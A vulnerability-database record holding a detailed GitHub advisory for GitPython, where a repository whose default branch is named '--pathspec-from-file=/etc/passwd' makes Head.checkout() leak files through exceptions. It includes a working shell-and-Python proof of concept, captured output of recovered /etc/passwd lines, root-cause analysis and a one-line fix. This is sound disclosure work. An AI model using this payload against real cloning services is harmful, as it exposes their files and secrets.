{"schema":"threatline.record/2","record":{"id":"GHSA-23mf-xhv8-69c2","aliases":["GHSA-23mf-xhv8-69c2"],"summary":"GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679, at the method named by CVE-2026-76217)","details":"> **A note on the referenced files.** This report was submitted through GitHub's private\r\n> vulnerability reporting API, which carries no attachments. Every transcript this report leans\r\n> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\r\n> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\r\n> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\r\n> to send the bundle by any channel you prefer, or to open a private fork — just say which. The\r\n> PoC scripts are self-contained and reproduce the result from a clean environment.\r\n\r\n---\r\n\r\n**Severity:** High\r\n**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → `7.5` (High)\r\n**CWE:** CWE-88 (Argument Injection) · CWE-73 (External Control of File Name or Path) · CWE-200 (Exposure of Sensitive Information)\r\n**Affected:** `<= 3.1.62` — all published releases; also `main` @ `4905b4af`\r\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\r\n**Date:** 2026-09-10\r\n**Reporter:** MAXI8594\r\n\r\n---\r\n\r\n## Threat model\r\n\r\n| | |\r\n|---|---|\r\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\r\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\r\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\r\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\r\n\r\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\r\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\r\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\r\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\r\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\r\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\r\nand lands at 6.5, matching the siblings.\r\n\r\n## Summary\r\n\r\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\r\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\r\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\r\nconsumer that merely clones it and checks out the default branch return the entire contents of that\r\nfile to the caller.\r\n\r\nThis is the exact combination of two advisories the project already fixed:\r\n\r\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\r\n  `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\r\n  the guard to this exact method — but only for `**kwargs`.\r\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\r\n  bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\r\n  positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\r\n  but not to `git/refs/head.py:286`.\r\n\r\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\r\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\r\n\r\n> \"The audit also found that **reset's positional commit could carry the option before its argument\r\n> separator**. […] **Check reset's positional commit as well as keyword options**\"\r\n\r\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\r\n\r\n## Affected Asset\r\n\r\n| | |\r\n|---|---|\r\n| Package | `GitPython` (PyPI) |\r\n| Affected versions | **`<= 3.1.62`** — all published releases |\r\n| Latest release tested | `3.1.62` |\r\n| Also present on | `main` @ `4905b4af` |\r\n| Vulnerable file | `git/refs/head.py` |\r\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\r\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\r\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\r\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\r\n\r\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\r\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\r\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\r\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\r\n\r\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\r\napplies; earlier releases have the same sink with no guard at all.\r\n\r\n## Vulnerability Details\r\n\r\n### Root cause\r\n\r\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\r\n\r\n```python\r\n@classmethod\r\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:\r\n    \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\r\n    options = [\r\n        option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\r\n    ]\r\n```\r\n\r\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\r\narguments this method puts on the command line.* That is fine when the method has no\r\nattacker-influenced positional, or when it separates them with `--`.\r\n\r\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\r\n\r\n```python\r\n        if not allow_unsafe_options:\r\n            Git.check_unsafe_options(\r\n                options=Git._option_candidates([], kwargs),\r\n                unsafe_options=Git.unsafe_git_pathspec_from_file_options,\r\n            )\r\n        kwargs[\"f\"] = force\r\n        if kwargs[\"f\"] is False:\r\n            kwargs.pop(\"f\")\r\n\r\n        self.repo.git.checkout(self, **kwargs)\r\n```\r\n\r\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\r\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\r\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\r\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\r\nall do). `Head.checkout` does not.\r\n\r\n### Why the branch name is attacker-controlled\r\n\r\nGit accepts a refname whose branch component begins with `-` and contains `/`\r\n(`raw/02-refname-accepted-and-cloned.txt`):\r\n\r\n```\r\n>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\r\n    exit=0  stderr=''\r\n    => un refname que empieza con '-' y lleva '/' es VALIDO para git\r\n\r\n>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\r\n    exit=0  stderr=''\r\n>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\r\n    exit=0\r\n    HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\r\n    ref en disco como arbol jerarquico: True\r\n\r\n>>> Repo.clone_from('file://<bare>', <victim>)   # la app solo clona\r\n    ramas LOCALES creadas por el clone, sin que nadie las pida:\r\n      refs/heads/--pathspec-from-file=/etc/passwd\r\n    repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\r\n    coincide con el nombre hostil: True\r\n```\r\n\r\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\r\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\r\n\r\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\r\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\r\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\r\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\r\nhosted forge, since that would mean writing to a third party.\r\n\r\n### Why the leak reaches the caller\r\n\r\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\r\n(`git/exc.py`):\r\n\r\n```python\r\n        self.stderr = stderr_decode and \"\\n  stderr: '%s'\" % stderr_decode or \"\"\r\n\r\n    def __str__(self) -> str:\r\n        return (self._msg + \"\\n  cmdline: %s%s%s\") % (\r\n            self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\r\n        )\r\n```\r\n\r\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\r\nfile. The developer does not have to know `.stderr` exists.\r\n\r\n### Full chain\r\n\r\n```\r\nRepo.clone_from(<attacker URL>)\r\n  ↓  remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\r\n  ↓  git clone creates that LOCAL branch unasked\r\nrepo.active_branch                → Head with name = \"--pathspec-from-file=/etc/passwd\"\r\n  ↓\r\nHead.checkout()                   git/refs/head.py:286 — guard inspects kwargs only\r\n  ↓  self.repo.git.checkout(self, **kwargs)   git/refs/head.py:293 — no \"--\"\r\ngit checkout --pathspec-from-file=/etc/passwd\r\n  ↓  git emits one `error:` per unmatched pathspec — one per line of the file\r\nGitCommandError → CommandError.__str__ → the consumer\r\n```\r\n\r\n## Steps to Reproduce\r\n\r\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\r\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\r\n\r\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\r\nscenario under `raw/`. Minimal manual reproduction:\r\n\r\n```bash\r\npython3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62\r\n\r\nW=$(mktemp -d)\r\ngit init -q -b main \"$W/a\"; echo x > \"$W/a/f.txt\"\r\ngit -C \"$W/a\" add f.txt\r\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\r\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\r\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\r\n\r\n# the attacker names their default branch after the file they want\r\ngit -C \"$W/a.git\" update-ref   'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\r\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\r\n\r\ncat > \"$W/consumer.py\" <<'PYEOF'\r\nimport logging, sys, git\r\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\r\ntry:\r\n    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL\r\n    repo.active_branch.checkout()                          # ensure a clean working tree\r\nexcept git.exc.GitCommandError:\r\n    logging.exception(\"clone failed\")\r\nPYEOF\r\n\r\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\r\n```\r\n\r\n### Raw Request\r\n\r\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\r\nThis is the command GitPython actually built — the branch name became an option:\r\n\r\n```\r\n  argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\r\n```\r\n\r\n### Raw Response\r\n\r\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\r\npathspec, which is one per line of the target file:\r\n\r\n```\r\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\r\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\r\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\r\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\r\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\r\n```\r\n\r\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\r\n\r\n```\r\nArchivo objetivo: /etc/passwd  (34 lineas no vacias)\r\n[CASO] repo.active_branch.checkout()  — nadie paso un nombre de rama\r\n  repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\r\n  -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\r\n```\r\n\r\n## Impact\r\n\r\nAn attacker who can get an application to clone a repository they control reads any file the\r\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\r\nfull (34 of 34 lines) in the run recorded in `poc.log`.\r\n\r\nThe attacker needs **no account and no privilege in the consuming application**, and no\r\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\r\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\r\nrepository importers, scanners and bots that clone user-supplied URLs.\r\n\r\n### Impact precondition\r\n\r\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\r\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\r\nwhich needs no branch-name input from the application at all.\r\n\r\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\r\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\r\n`receive-pack` accepts without `--force` or special configuration\r\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\r\nwrites the branch name; `git clone` materialises it.\r\n\r\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\r\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\r\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\r\n\r\n### Scoring\r\n\r\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High**\r\n\r\n```\r\nISS  = 1 - (1-0.56)(1-0)(1-0)           = 0.56\r\nImp  = 6.42 × 0.56                      = 3.5952\r\nExpl = 8.22 × 0.85 × 0.77 × 0.85 × 0.85 = 3.8870\r\nBase = roundup(min(3.5952 + 3.8870, 10)) = roundup(7.4822) = 7.5\r\n```\r\n\r\n`PR:N` because the privilege is measured in the vulnerable component: the attacker needs no\r\ncredential in GitPython or in the consuming application, only that the application fetch a URL.\r\n\r\nA second, weaker path exists where the application passes an externally supplied branch name to\r\n`Repo.create_head()` and then checks it out — `Repo.create_head()` does not validate the name. That\r\npath is read from source and **was not exercised in the attached run**. That\r\npath is `PR:L` → 6.5, matching this project's own three prior advisories in the same class\r\n(CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). Both paths are real; the report is scored on the\r\nworse one, per CVSS guidance.\r\n\r\n### Limits, stated plainly\r\n\r\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\r\n  single argv token; `git` rejects the abbreviated forms. This was established while developing the\r\n  payload and is **not** part of the attached run — the run exercises the working spelling only.\r\n- The attacker must know an absolute path to the target file.\r\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\r\n  repository none of them do, so the attacker controls this condition too.\r\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\r\n  unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\r\n  first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\r\n  `git checkout` on 2.55.0.\r\n\r\n## Negative control\r\n\r\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\r\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\r\nis discarded.\r\n\r\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\r\n— the same payload via kwargs. Fires in every batch:\r\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\r\nThis proves the guard exists, is active under the default, and recognises the option — so a null\r\nresult elsewhere cannot be the instrument failing to reach the code.\r\n\r\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\r\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\r\n\r\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\r\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\r\ncommit, 185 lines apart:\r\n\r\n```\r\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\r\n  HEAD.reset(commit=PAYLOAD)  guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas  [OK]\r\n  Head.checkout()      guard NO mira el posicional     GitCommandError                                fuga=34 lineas  [OK]\r\n```\r\n\r\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\r\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\r\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\r\n\r\n## Remediation\r\n\r\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\r\n\r\n```python\r\n                options=Git._option_candidates([self], kwargs),\r\n```\r\n\r\n**The other candidate was evaluated and rejected.** Writing\r\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\r\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\r\nbreaks the method**: in `git checkout -- <arg>`, everything after `--` is a *pathspec*, not a branch.\r\nThe command would stop switching branches and start restoring files. The `--` pattern works for\r\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\r\noperands; it does not transfer here.\r\n\r\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\r\nalso close the weaker `PR:L` path. That is a separate, optional change.\r\n\r\n## Prior art and de-duplication\r\n\r\nAll GitPython advisories in the GitHub database were reviewed —\r\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\r\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\r\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\r\n\r\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\r\n  (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\r\n  the positive control in every batch of this report. The **positional** path is not covered by it.\r\n\r\nNeighbours, none overlapping:\r\n\r\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\r\n  guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\r\n  patch that did not come back to `head.py:286`.\r\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\r\n  leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\r\n  to the guard; this one does not.\r\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\r\n  Different sink (filesystem path construction) and different impact (write and delete), but it\r\n  establishes that attacker-influenced ref names is a premise this project has already accepted.\r\n\r\n### No open fix proposal\r\n\r\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\r\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\r\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\r\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\r\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\r\n`dup-check.md`.\r\n\r\n### The project's own tests carry the same asymmetry\r\n\r\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\r\nreport is about:\r\n\r\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\r\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\r\n\r\nSo the positional variant is a case the suite already knows how to write; it just was not written\r\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\r\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\r\ndoes not deliver. Nothing in the project declares the positional acceptable here.\r\n\r\n### Why the one-line fix works, which is not obvious\r\n\r\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\r\npath components (`reference.py:122-132`), so a `Head` constructed on\r\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\r\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\r\nthe guard see that same serialised string, which is why the one-line change closes it.\r\n\r\n## Evidence\r\n\r\n| File | What it establishes |\r\n|---|---|\r\n| `poc.sh` | driver — runs all seven scenarios as one unit |\r\n| `poc.log` | full transcript of the single reference run |\r\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\r\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\r\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\r\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\r\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\r\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\r\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\r\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\r\n| `negative-controls.md` | what each control isolates and what would invalidate it |\r\n| `evidence.sha256` | integrity of every raw file and script |\r\n\r\n## Disclosure\r\n\r\nReported privately through GitHub private vulnerability reporting. No third-party systems were\r\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.","categories":["Unclassified"],"product":"GitPython","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2","source_modified_at":"2026-09-30T09:11:43Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"ecosystem":"pip","name":"GitPython"},"range":"<= 3.1.62"}],"fixed_versions":[],"cvss":null,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T09:11:43Z","modified_at":"2026-09-30T09:11:43Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2","fetched_at":"2026-10-23T18:55:00.935475Z","source_modified_at":"2026-09-30T09:11:43Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T09:11:43Z","content_hash":"ddac4bac8232af2964b2746812a04882835ce94bf004719ba9580400e59d1da5"}}